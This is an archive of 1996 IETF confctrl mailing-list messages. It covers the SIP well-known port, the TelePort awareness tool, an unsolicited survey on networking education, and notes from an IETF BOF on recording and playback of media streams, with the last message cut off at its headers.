Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08089>; Mon, 15 Jul 1996 05:04:19 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA03634>; Mon, 15 Jul 1996 05:04:17 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.12960-0@bells.cs.ucl.ac.uk>; Mon, 15 Jul 1996 13:04:00 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Frank J|rgen Solem <f.j.solem@usit.uio.no>
Cc: confctrl@ISI.EDU
Subject: Re: SIP port
In-Reply-To: Your message of "Mon, 15 Jul 96 10:05:27 +0100." <199607150805.IAA20922@marion.uio.no>
Date: Mon, 15 Jul 96 13:03:58 +0100
Message-Id: <3363.837432238@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>I'm working on a implementation of the SIP protocol. Acording to the 
>draft, the request is to be sent to a well-known port. Unfortunately this 
>isn't well-known to me, and i wonder if someone might help me ?

I'm using 9860 in sdr.  Also I'm listening on 224.2.127.253/9860 for
local multicast relayed invitations, but I haven't written anything to
utilise that yet.

Mark

From majordom@ISI.EDU  Tue Jul 16 18:28:29 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17254>; Wed, 17 Jul 1996 01:28:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17247>; Wed, 17 Jul 1996 01:28:32 -0700
Received: from tera.mcom.com (tera.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA21695>; Wed, 17 Jul 1996 01:28:31 -0700
Received: (from news@localhost) by tera.mcom.com (8.6.12/8.6.9) id BAA27466; Wed, 17 Jul 1996 01:30:02 -0700
To: confctrl@isi.edu
Path: usenet
From: Peter Torkelson <petert@netscape.com>
Newsgroups: mcom.list.confctrl
Subject: Test
Date: Wed, 17 Jul 1996 01:28:29 -0700
Organization: Netscape Communications
Lines: 1
Message-Id: <31ECA42D.500F@netscape.com>
Nntp-Posting-Host: xyzzy.mcom.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 2.02 (X11; I; IRIX 5.3 IP22)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is a test.

From majordom@ISI.EDU  Mon Jul 22 16:33:07 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AB26643>; Mon, 22 Jul 1996 07:34:35 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26637>; Mon, 22 Jul 1996 07:34:25 -0700
Received: from egate.lut.ac.uk by venera.isi.edu (5.65c/5.61+local-25)
	id <AA20877>; Mon, 22 Jul 1996 07:33:53 -0700
Received: from mailhost.lut.ac.uk [131.231.16.7] (pp)
	by egate.lut.ac.uk with smtp (Exim 0.52 #1)
	id E0uiM3S-0000Xz-00; Mon, 22 Jul 1996 15:33:50 +0100
Received: from pipkin.lut.ac.uk by hpd.lut.ac.uk (15.11/SMI-4.1) id AA24761;
          Mon, 22 Jul 96 15:33:08 bst
Message-Id: <31F39122.2781E494@lut.ac.uk>
Date: Mon, 22 Jul 1996 15:33:07 +0100
From: Ben Anderson <B.Anderson@lboro.ac.uk>
Organization: LUTCHI Research Centre
X-Mailer: Mozilla 3.0b5a (X11; I; SunOS 4.1.4 sun4m)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: TelePort - Noddy SIP client available
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

we've been using this off and on over the summer and it seems fairly
stable so if anyone wants to try it out...

Teleport is an awareness tool that uses IP multicast to distribute
awareness information using an experimental group awareness protocol
(GAP). Each user runs a GAP client (eg. TelePort) to receive awareness
information about other users in the 'awareness session'. Users can then
initiate more focused interaction (eg through glances, or requests for
'connections') which is done using SIP.

GAP should be scalable - it is based to a certain extent on RTCP but we
have only used it inside our campus network - I am unsure as yet how
well it performs in the wide area or with more than 10-20 participants.
It should show the same behaviour as RTCP where everyone is sending, but
I have no data (other than simulations) to prove this :-)

For more background, screenshots and the binaries (only SunOS 4.1.4 and
IRIX 5.2 at present I'm afraid) see:

http://pipkin.lut.ac.uk/~ben/PHD_Public/teleport.html

There are a number of not-yet-implemented features including:

- support for initiating multipoint conferences, only 1-1 conferences
are supported at present

- interworking with sdr is not supported

The development of TelePort was supported by BT who retain all rights to
the software and all concepts, designs etc contained within it.
Potential users should note that:

"This software is released for evaluation purposes only. 
Copyright 1995/1996 British Telecommunications plc. All rights
reserved."

I'd be interested to hear any comments, ideas, feedback etc.

cheers
Ben.
-- 
http://pipkin.lut.ac.uk/~ben/sig.html

From majordom@ISI.EDU  Mon Aug  5 11:28:23 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08023>; Mon, 5 Aug 1996 19:33:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08017>; Mon, 5 Aug 1996 19:33:03 -0700
Received: from megamegs.decisive.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA01189>; Mon, 5 Aug 1996 19:33:03 -0700
Received: from jamie.decisive.com ([206.171.43.189])
          by megamegs.decisive.com (post.office MTA v1.9.3 ID# 0-12889)
          with SMTP id AAA64 for <confctrl@isi.edu>;
          Mon, 5 Aug 1996 18:49:06 -0700
Received: by jamie.decisive.com with Microsoft Mail
	id <01BB8305.1C4CA200@jamie.decisive.com>; Mon, 5 Aug 1996 19:34:25 -0700
Message-Id: <01BB8305.1C4CA200@jamie.decisive.com>
From: feedback@decisive.com (Network Education Center)
To: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Survey on Continuing Education for Network Computing Professionals
Date: Mon, 5 Aug 1996 18:28:23 -0700
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This survey is on behalf of an education center dedicated to the needs =
of network computing professionals. We are asking your input to help us =
create better education/training programs for you and your company. Your =
responses will be completely confidential.

If we receive your completed survey by Monday, August 12, 1996, we'll =
automatically enter you in a contest for a prize of $1,000; one winner =
will be chosen from among those who complete the survey.  Thank you in =
advance for your help.=20

(Authentication marker -- ~3%e%INTCADX%8%1%321%5CTJVlfE%63410& -- do not =
remove.)=20

To respond, create a reply e-mail message that contains the survey.  =
Some e-mail systems require you to manually copy and paste the survey =
into your reply.  Make sure the reply contains the *entire* =
authentication marker, including what looks like garbage.

To answer a question, type an x between the brackets, like this:  [ x ]. =
 For fill-in-the-blanks, type between the brackets like this:  [ your =
response ].  Please make no other changes to this survey.

 1.  If for any reason you do NOT want to be contacted in the future via =
e-mail, please indicate after the first question by placing an "x" =
within the brackets. You will be omitted from future e-mail surveys.

   [  ]   a)  Please omit me from future e-mail surveys.

 2.  What is your company's PRIMARY industry or business?

   Choose one:

   [  ]   a)  Aerospace
   [  ]   b)  Communications carrier (telco, broadband, internet)
   [  ]   c)  Financial services
   [  ]   d)  Healthcare
   [  ]   e)  Manufacturing: computer/software
   [  ]   f)  Manufacturing: non-computer
   [  ]   g)  Government/military
   [  ]   h)  Publishing/media/advertising/public relations
   [  ]   i)  Transportation/utilities
   [  ]   j)  Wholesale/retail: non-computer
   [  ]   k)  Education
   [  ]   l)  Entertainment
   [  ]   m)  Computer reseller/retailer/VAR
   [  ]   n)  Systems integration/consulting
   [  ]   o)  Other, please specify... [    ]

 3.  What is your job function?

   Choose one:

   [  ]   a)  IS/MIS/Data processing
   [  ]   b)  LAN/network systems
   [  ]   c)  Internet/Web
   [  ]   d)  Intranet (in-TRA-net)
   [  ]   e)  Data communications/telecommunications
   [  ]   f)  PC/microcomputer/information center
   [  ]   g)  Systems analyst/applications development
   [  ]   h)  Systems engineer/integration
   [  ]   i)  Other computer-related, please specify... [    ]
   [  ]   j)  Executive/corporate office
   [  ]   k)  Financial/accounting
   [  ]   l)  Engineering/R&D
   [  ]   m)  Sales/marketing
   [  ]   n)  Other administrative, please specify... [    ]
   [  ]   o)  Consulting (computer related)
   [  ]   p)  Training/education
   [  ]   q)  Other professional, please specify... [    ]

 4.  Please check the statements below that describe your involvement =
with networks.

   Choose all that apply:

   [  ]   a)  I manage networks.
   [  ]   b)  I design networks.
   [  ]   c)  I install networks.
   [  ]   d)  I troubleshoot/fix networks.
   [  ]   e)  I train or support network users.
   [  ]   f)  I initiate the evaluation of new network technologies.
   [  ]   g)  I evaluate or specify brands of network products.
   [  ]   h)  I ensure that networks meet specific business or =
organizational objectives.

 5.  What is the scope of your involvement with networking in your =
organization?

   Choose one:

   [  ]   a)  Entire organization or enterprise
   [  ]   b)  Entire work location
   [  ]   c)  Multiple departments at more than one location
   [  ]   d)  For a single department only
   [  ]   e)  Other

 6.  How many servers do you have installed in your organization?

   Choose one:

   [  ]   a)  Over 50
   [  ]   b)  10 to 49
   [  ]   c)  1 to 9
   [  ]   d)  None

 7.  How many LANS do you have installed in your organization?

   Choose one:

   [  ]   a)  Over 25
   [  ]   b)  5 to 24
   [  ]   c)  1 to 4
   [  ]   d)  None

 8.  How many microcomputers/workstations are connected to LANS in your =
organization?

   Choose one:

   [  ]   a)  500 or more
   [  ]   b)  25 to 499
   [  ]   c)  1 to 24
   [  ]   d)  None

 9.  How many employees do you supervise?

   Choose one:

   [  ]   a)  Up to 3 people
   [  ]   b)  4 to 10 people
   [  ]   c)  More than 10 people
   [  ]   d)  None

 10.  Do you yourself have responsibility for networking =
education/training provided to employees in your company?

   Choose one:

   [  ]   a)  Yes
   [  ]   b)  No
   [  ]   c)  Don't know

 11.  What is the annual budget for education/training for yourself and =
those you supervise?

   Please enter the amount within the following brackets. [    ]

 12.  During the last 12 months, where did you or those you supervise =
receive education/training for networking?

   Choose all that apply:

   [  ]   a)  In-house
   [  ]   b)  University/college
   [  ]   c)  Seminars
   [  ]   d)  Internet
   [  ]   e)  Other
   [  ]   f)  No education/training on networking was received


NOW WE WANT YOUR OPINIONS ABOUT A POSSIBLE EDUCATION CURRICULUM ON =
NETWORKING TECHNOLOGIES. For each of the following 10 course =
descriptions, please indicate your level of interest.

 13.  A Network Technologies course covering circuits and fibers; =
modulation and modems; LANs; WANs; frames; cell switching; wireless; =
satellites; connection-oriented and connectionless service; =
characteristics of each technology; addressing; media access; =
comparisons.

   Choose one:

   [  ]   a)  Very interesting
   [  ]   b)  Moderately interesting
   [  ]   c)  Somewhat interesting
   [  ]   d)  Not at all interesting

 14.  A Network Interconnection and Internetworking course covering =
interconnection technologies; repeaters, bridges, and routers; internet =
addressing; address binding; datagram forwarding; techniques to =
accomodate heterogeneity (e.g. encapsulation and fragmentation).

   Choose one:

   [  ]   a)  Very interesting
   [  ]   b)  Moderately interesting
   [  ]   c)  Somewhat interesting
   [  ]   d)  Not at all interesting

 15.  A Network Protocols and Protocol Design course covering protocol =
layering; problems protocols solve; loss, reordering, corruption, =
congestion, duplication, and replay; techniques such as framing, =
checksumming, sliding window, and retransmission; focus on the transport =
layer, but cover other layers.

   Choose one:

   [  ]   a)  Very interesting
   [  ]   b)  Moderately interesting
   [  ]   c)  Somewhat interesting
   [  ]   d)  Not at all interesting

 16.  A Routing and Routing Protocols course covering packet forwarding; =
route propagation; vector-distance and link-state algorithms; spanning =
tree.

   Choose one:

   [  ]   a)  Very interesting
   [  ]   b)  Moderately interesting
   [  ]   c)  Somewhat interesting
   [  ]   d)  Not at all interesting

 17.  A Distributed Programming and Applications course covering =
client-server paradigm; socket API; middleware (e.g. RPC and CORBA); =
building a server; multithread server execution; protection and =
authorization; example applications.

   Choose one:

   [  ]   a)  Very interesting
   [  ]   b)  Moderately interesting
   [  ]   c)  Somewhat interesting
   [  ]   d)  Not at all interesting

 18.  A Network and Protocol Performance Evaluation course covering =
throughput and delay; measuring and tuning protocols; instrumentation of =
protocol stacks; traffic analysis; self-similar behavior.

   Choose one:

   [  ]   a)  Very interesting
   [  ]   b)  Moderately interesting
   [  ]   c)  Somewhat interesting
   [  ]   d)  Not at all interesting

 19.  A Networking and Protocol Support for Multimedia Applications =
course covering high-speed networks; resource allocation and performance =
guarantees; protocols for audio and video; techniques such as =
compression and delayed playback.

   Choose one:

   [  ]   a)  Very interesting
   [  ]   b)  Moderately interesting
   [  ]   c)  Somewhat interesting
   [  ]   d)  Not at all interesting

 20.  An Advanced Server Design and Implementation course covering =
implementation of concurrent, parallel servers; large-scale designs; =
proxy servers (e.g., SLIRP); techniques such as buffering, replication, =
caching, and application gateways.

   Choose one:

   [  ]   a)  Very interesting
   [  ]   b)  Moderately interesting
   [  ]   c)  Somewhat interesting
   [  ]   d)  Not at all interesting

 21.  An Advanced Routing course covering policy-based routing; =
multicast; mobility; inter- and intra-layer encapsulation; longest =
prefix forwarding table lookup algorithms; virtual LANS.

   Choose one:

   [  ]   a)  Very interesting
   [  ]   b)  Moderately interesting
   [  ]   c)  Somewhat interesting
   [  ]   d)  Not at all interesting

 22.  An Advanced Network Applications course covering EDI; electronic =
commerce; advanced Web techniques (e.g. Java).

   Choose one:

   [  ]   a)  Very interesting
   [  ]   b)  Moderately interesting
   [  ]   c)  Somewhat interesting
   [  ]   d)  Not at all interesting

 23.  What would your level of interest be in taking a group of these =
courses as a coordinated curriculum?

   Choose one:

   [  ]   a)  Very interesting
   [  ]   b)  Moderately interesting
   [  ]   c)  Somewhat interesting
   [  ]   d)  Not at all interesting


THINKING ABOUT THE CHARACTERISTICS AND BENEFITS OF DIFFERENT TYPES OF =
EDUCATION PROGRAMS that could be made available for networking =
technologies, please indicate which of the following would be important =
to you.

 24.  A course curriculum leads to an advanced college degree.

   Choose one:

   [  ]   a)  Very important
   [  ]   b)  Somewhat important
   [  ]   c)  Not very important
   [  ]   d)  Not at all important
   [  ]   e)  No opinion

 25.  Each course generates a document of professional certification.

   Choose one:

   [  ]   a)  Very important
   [  ]   b)  Somewhat important
   [  ]   c)  Not very important
   [  ]   d)  Not at all important
   [  ]   e)  No opinion

 26.  Course curriculum leads to an overall certification.

   Choose one:

   [  ]   a)  Very important
   [  ]   b)  Somewhat important
   [  ]   c)  Not very important
   [  ]   d)  Not at all important
   [  ]   e)  No opinion

 27.  Course is available at your place of work.

   Choose one:

   [  ]   a)  Very important
   [  ]   b)  Somewhat important
   [  ]   c)  Not very important
   [  ]   d)  Not at all important
   [  ]   e)  No opinion

 28.  Course is available at a local university or college campus.

   Choose one:

   [  ]   a)  Very important
   [  ]   b)  Somewhat important
   [  ]   c)  Not very important
   [  ]   d)  Not at all important
   [  ]   e)  No opinion

 29.  Courses available at an industry event you already attend.

   Choose one:

   [  ]   a)  Very important
   [  ]   b)  Somewhat important
   [  ]   c)  Not very important
   [  ]   d)  Not at all important
   [  ]   e)  No opinion

 30.  Courses conducted by an advanced educational institute staffed by =
networking experts.

   Choose one:

   [  ]   a)  Very important
   [  ]   b)  Somewhat important
   [  ]   c)  Not very important
   [  ]   d)  Not at all important
   [  ]   e)  No opinion

 31.  A core curriculum of a specified number of courses that would =
follow a building educational sequence.

   Choose one:

   [  ]   a)  Very important
   [  ]   b)  Somewhat important
   [  ]   c)  Not very important
   [  ]   d)  Not at all important
   [  ]   e)  No opinion

 32.  A concentrated face-to-face education program conducted over =
consecutive days.

   Choose one:

   [  ]   a)  Very important
   [  ]   b)  Somewhat important
   [  ]   c)  Not very important
   [  ]   d)  Not at all important
   [  ]   e)  No opinion

 33.  Ability to take class lessons, labs and tests over the Internet =
from your desktop.

   Choose one:

   [  ]   a)  Very important
   [  ]   b)  Somewhat important
   [  ]   c)  Not very important
   [  ]   d)  Not at all important
   [  ]   e)  No opinion

 34.  What other thoughts do you have concerning what could be done to =
improve educational or training programs on networking technologies?

   Please write within the brackets. [    ]

 35.  How many years have you been professionally involved in computing?

   Choose one:

   [  ]   a)  Less than 2 years
   [  ]   b)  2 to 4 years
   [  ]   c)  5 to 10 years
   [  ]   d)  More than 10 years

 36.  Which of the following ranges includes your age?

   Choose one:

   [  ]   a)  18 to 34
   [  ]   b)  35 to 44
   [  ]   c)  45 to 54
   [  ]   d)  55 and older

 37.  Which of the following represents your highest level of education?

   Choose one:

   [  ]   a)  Attended high school
   [  ]   b)  Graduated high school
   [  ]   c)  Attended college
   [  ]   d)  Bachelor's degree
   [  ]   e)  Master's degree
   [  ]   f)  Doctorate degree

 38.  What do you estimate your total household income was last year? =
(Please estimate total income for everyone in your household, including =
salaries, wages,  bonuses, interest, dividends, etc.)

   Choose one:

   [  ]   a)  Less than $15,000
   [  ]   b)  $15,000 to $24,999
   [  ]   c)  $25,000 to $34,999
   [  ]   d)  $35,000 to $49,999
   [  ]   e)  $50,000 to $74,999
   [  ]   f)  $75,000 to $99,999
   [  ]   g)  $100,000 to $149,999
   [  ]   h)  $150,000 or more
   [  ]   i)  Don't know

Thank you for participating in this survey.



From majordom@ISI.EDU  Tue Aug  6 02:21:43 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25405>; Tue, 6 Aug 1996 09:25:23 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25399>; Tue, 6 Aug 1996 09:25:22 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26454>; Tue, 6 Aug 1996 09:25:20 -0700
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.7.5/3.5Wb2/(96/07/06))
	id JAA21938 for <confctrl@isi.edu>; Tue, 6 Aug 1996 09:25:18 -0700 (PDT)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id QAA02377 for <confctrl@isi.edu>; Tue, 6 Aug 1996 16:21:44 GMT
Message-Id: <199608061621.QAA02377@ornette.nttlabs.com>
To: confctrl@isi.edu
Subject: Streams-control BOF notes
Date: Tue, 06 Aug 1996 09:21:43 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

As promised, here are the notes, slightly modified after some
discussion among the BOF attendees.

Our group at NTT is now defining and starting implementation of
protocols to control a media server that provides distributed
recording and playback of RTP streams.

Please direct discussion to the list.

If there is any interest (or no protest from the BOF members) I will
make an archive of our discussion available via hypernews.

js

==

  BOF - Managing storage and retrieval of media streams
  Jeffrey D. Smith sumisu@nttlabs.com
  $Id: BOF-notes.sgml,v 1.1 1996/06/27 17:41:43 sumisu Exp sumisu $

  These are the notes summarizing the BOF held at the June IETF on 27
  June, 1996.  The BOF was called to discuss the issues surrounding
  recording and playback of media streams on the Internet.  These issues
  were also discussed as possibly being applicable to remote device con-
  trol, voice mail, and interactive voice response systems among others.
  The BOF was able to address issues of location services (orthagonal),
  invitation (extensions to SIP), session descriptions to accomodate
  recording and playback control channels (SDP), and some ideas for
  record and playback negotiation.  The actual control protocol for
  streams was not addressed - we need to define our requirements and
  research a number of possible solutions.

  1.  Background and Definitions


  1.1.	Goal statement

  Support recording and playback of media streams on the Internet for
  distributed clients and distributed servers.

  A footnote to this goal is to keep in mind the possibility of this
  mechanism also being useful for other applications involving other
  non-human participants in a conference (i.e. device control).

  A comment on scope - it was decided to define the "simple" case of
  media recording and playback and then evaluate what was necessary for
  the other applications.


  1.2.	Defining terms


  o  Conference - a multiparty, multimedia session (multi >= 1)

  o  Session - a set of related streams.  A session is defined by an SDP
     "packet."

  o  Stream - "realtime" media being transmitted over the Internet
     (including audio, video, whiteboard, shared applications).  In our
     specific case a stream is a pair of RTP+RTCP.

  o  Entity - a participant in a conference.  This participant may be
     non-human.  In our specific case an entity may be a media record or
     playback server.



  1.3.	Applications


  o  VOD

  o  Distance learning

  o  Home VCR-like scheduled recording, and playback on demand
     (archiving)

  o  Voice/video-mail




  2.  Components


  2.1.	Server location

  It was decided that this problem was orthogonal to the issue of
  recording and playback.

  Options:

  o  Directly use SIP, submitting the information (SDP) of what session
     an entity (server) is to be invited to attend, and relying on the
     SIP + proxy mechanism to locate the entity.

  o  First query a location service with the requirements for a entity
     and use the results of the query to direct a SIP request to invite
     the entity.


  2.2.	Invitation


  SIP will need to add SDP information that describes the control
  channel that will be used to control the entity which is being
  invited.

  It was decided that it may be helpful to develop profiles for SIP as
  seperate documents to define case-specific behavior.	We will define a
  profile for inviting record and playback servers with a control
  channel request.

  Assumptions:

  o  More than one server may be available for a given request.

  o  More than one server may be invited into a session.

  o  A server may be invited by more than one entity.


  2.3.	Negotiation and Control

  Upon accepting the invitation, the server will use a control channel
  protocol for further negotiation and subsequent control (including
  record_start, play_start, etc.)

  Not specified, see below "Issues of the Control Protocol"


  3.  Issues for Recording


  o  Query for facilities (enough disk space, CPU load, etc.)

  o  Negotiate for facilities

  o  In the case of an invitation to record, at some time the server
     will provide a unique identifier for each stream in the session
     that may be used to retrieve the stream.  This identifier may be
     provided by the inviting entity and confirmed by the server, or
     generated independently by the server.





  4.  Issues for Playback


  o  Initiation of playback may be a SIP request sent to 1 or more
     entities containing the component stream information and the
     control channel information.  Indication of address, port, ttl for
     the media streams may be included in this message. It is mandatory
     to indicate address, port, ttl for the control channel.

  o  Finding a stream or reconstruction a session.


  5.  Issues of the Control Protocol

  Functionality:

  o  Need to manage assignment of address and port for control channel.

  o  Asynchronous notification

  o  Acks

  o  Timing

  o  1:1 control

  o  1:n control

  o  n:n control

  o  Need stream id (possibly SSRC + dest address)

  o  Need to quote RTP timestamps

  Objects of control:

  o  record server

  o  playback server

  o  RTP mixer

  o  POTS gateway

  o  Camera

  o  Video equipment (VCR, LaserDisc)

  Protocols to look at:

  o  RTP

  o  RTCP

  o  SNMP

  o  T.120


  6.  Attendees


  Andrew Hally, ahally@wpine.com

  Dave Thaler, thalerd@eecs.umich.edu

  Francois Menard, men@mediatrix.com

  Mark Handley, M.Handley@cs.ucl.ac.uk

  Steven Magnell, magnells@dialogic.com

  Steve Casner, casner@precept.com

  Scott Petrack, petrack@vnet.ibm.com

  Joerg Ott, jo@cs.tu-berlin.de

  Jeff Smith, sumisu@nttlabs.com

  Ross Finlayson, finlayson@lvn.com

  Keith Johnson, keith.johnson@fedex.com

  Bob Webber, webberr@pictel.com
















































From majordom@ISI.EDU  Tue Aug  6 13:45:21 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28099>; Tue, 6 Aug 1996 20:50:31 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28093>; Tue, 6 Aug 1996 20:50:30 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA28499>; Tue, 6 Aug 1996 20:50:27 -0700
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.7.5/3.5Wb2/(96/07/06))
	id UAA04919 for <confctrl@isi.edu>; Tue, 6 Aug 1996 20:50:25 -0700 (PDT)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id DAA03441 for <confctrl@isi.edu>; Wed, 7 Aug 1996 03:45:21 GMT
Message-Id: <199608070345.DAA03441@ornette.nttlabs.com>
To: confctrl@isi.edu
Subject: Streams-control BOF notes - update
Date: Tue, 06 Aug 1996 20:45:21 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Sorry, it seems I sent an older version of the notes to the list... I
had updated the sgml version but had not made the current ascii
version before dumping it into mail.

js

==
  BOF - Managing storage and retrieval of media streams
  Jeffrey D. Smith sumisu@nttlabs.com
  $Id: BOF-notes.sgml,v 1.2 1996/08/07 03:35:16 sumisu Exp $

  These are the notes summarizing the BOF held at the June IETF on 27
  June, 1996.  The BOF was called to discuss the issues surrounding
  recording and playback of media streams on the Internet.  These issues
  were also discussed as possibly being applicable to remote device con-
  trol, voice mail, and interactive voice response systems among others.
  The BOF was able to address issues of location services (orthagonal),
  invitation (extensions to SIP), session descriptions to accomodate
  recording and playback control channels (SDP), and some ideas for
  record and playback negotiation.  The actual control protocol for
  streams was not addressed - we need to define our requirements and
  research a number of possible solutions.

  1.  Background and Definitions


  1.1.	Goal statement

  Support recording and playback of media streams on the Internet for
  distributed clients and distributed servers.

  A footnote to this goal is to keep in mind the possibility of this
  mechanism also being useful for other applications involving other
  non-human participants in a conference (i.e. device control).

  A comment on scope - it was decided to define the "simple" case of
  media recording and playback and then evaluate what was necessary for
  the other applications.


  1.2.	Defining terms


  o  Conference - a multiparty, multimedia session (multi >= 1)

  o  Session - a set of related streams.  A session is defined by an SDP
     "packet."

  o  Stream - "realtime" media being transmitted over the Internet
     (including audio, video, whiteboard, shared applications).  In our
     specific case a stream is a pair of RTP+RTCP.

  o  Entity - a participant in a conference.  This participant may be
     non-human.  In our specific case an entity may be a media record or
     playback server.



  1.3.	Applications


  o  VOD

  o  Distance learning

  o  Home VCR-like scheduled recording, and playback on demand
     (archiving)

  o  Voice/video-mail

  o  Telephony


  2.  Components


  2.1.	Server location

  It was decided that this problem was orthogonal to the issue of
  recording and playback.

  Options:

  o  Directly use SIP, submitting the information (SDP) of what session
     an entity (server) is to be invited to attend, and relying on the
     SIP + proxy mechanism to locate the entity.

  o  First query a location service with the requirements for a entity
     and use the results of the query to direct a SIP request to invite
     the entity.


  2.2.	Invitation


  SIP will need to add SDP information that describes the control
  channel that will be used to control the entity which is being
  invited.

  It was decided that it may be helpful to develop profiles for SIP as
  seperate documents to define case-specific behavior.	We will define a
  profile for inviting record and playback servers with a control
  channel request.

  Assumptions:

  o  More than one server may be available for a given request.

  o  More than one server may be invited into a session.

  o  A server may be invited by more than one entity.


  2.3.	Negotiation and Control

  There are two levels, or stages of negotiation.  The first stage could
  use the facilities described in the SIP draft, Category 4: NEGOTIATE.
  This negotiation is in regards to the "contents" of the SDP
  description for a session.

  Upon accepting the invitation, the server will use a control channel
  protocol for further negotiation and subsequent control (including
  record_start, play_start, etc.)

  Not specified, see below "Issues of the Control Protocol"


  3.  Issues for Recording


  o  Query for facilities (enough disk space, CPU load, etc.)

  o  Negotiate for facilities

  o  In the case of an invitation to record, at some time the server
     will provide a unique identifier for each stream in the session
     that may be used to retrieve the stream.  This identifier may be
     provided by the inviting entity and confirmed by the server, or
     generated independently by the server.
  o  In the general case, an invitation to a record server will result
     in the server being set to "record cue" mode.  The actual command
     to record will be sent on the control channel.


  4.  Issues for Playback


  o  Initiation of playback may be a SIP request sent to 1 or more
     entities containing the component stream information and the
     control channel information.  Indication of address, port, ttl for
     the media streams may be included in this message. It is mandatory
     to indicate address, port, ttl for the control channel.

  o  Same as Record - the general case will put the server in "play cue"
     mode and wait for "play" on the control channel.

  o  Finding a stream or reconstruction a session.


  5.  Issues of the Control Protocol

  Functionality:

  o  Need to manage assignment of address and port for control channel.

  o  Asynchronous notification

  o  Acks

  o  Timing

  o  1:1 control

  o  1:n control

  o  n:n control

  o  Need stream id (possibly SSRC + dest address)

  o  Need to quote RTP timestamps

  Objects of control:

  o  record server

  o  playback server

  o  RTP mixer

  o  POTS gateway

  o  Camera

  o  Video equipment (VCR, LaserDisc)

  o  Remote Phone Application

  Protocols to look at:

  o  RTP

  o  RTCP

  o  SNMP

  o  T.120

  o  DTMF (for phone applications)


  6.  Attendees


  Andrew Hally, ahally@wpine.com

  Dave Thaler, thalerd@eecs.umich.edu

  Francois Menard, men@mediatrix.com

  Mark Handley, M.Handley@cs.ucl.ac.uk

  Steven Magnell, magnells@dialogic.com

  Steve Casner, casner@precept.com

  Scott Petrack, petrack@vnet.ibm.com

  Joerg Ott, jo@cs.tu-berlin.de

  Jeff Smith, sumisu@nttlabs.com

  Ross Finlayson, finlayson@lvn.com

  Keith Johnson, keith.johnson@fedex.com

  Bob Webber, webberr@pictel.com



--
 Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
 Nippon Telegraph and Telephone Corporation   
 Software Laboratories Palo Alto	              
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com

From majordom@ISI.EDU  Wed Aug  7 03:56:00 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04883>; Wed, 7 Aug 1996 04:56:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04872>; Wed, 7 Aug 1996 04:56:36 -0700
Received: from bnr.ca (x400gate.bnr.ca) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA10223>; Wed, 7 Aug 1996 04:56:33 -0700
X400-Received:  
 by mta bnr.ca in /PRMD=BNR/ADMD=TELECOM.CANADA/C=CA/; Relayed; Wed, 7 Aug 1996 07:56:28 -0400 
X400-Received:  
 by /PRMD=BNR/ADMD=TELECOM.CANADA/C=CA/; Relayed; Wed, 7 Aug 1996 07:56:15 -0400 
X400-Received:  
 by /PRMD=BNR/ADMD=TELECOM.CANADA/C=CA/; Relayed; Wed, 7 Aug 1996 07:56:00 -0400 
Date:  Wed, 7 Aug 1996 07:56:00 -0400 
X400-Originator:  /dd.id=1663884/g=vivek/i=v/s=kapil/@bnr.ca 
X400-Mts-Identifier:  
 [/PRMD=BNR/ADMD=TELECOM.CANADA/C=CA/;bcars520.b.111:07.07.96.11.56.15] 
X400-Content-Type:  P2-1984 (2) 
Content-Identifier:  Charts etc. f... 
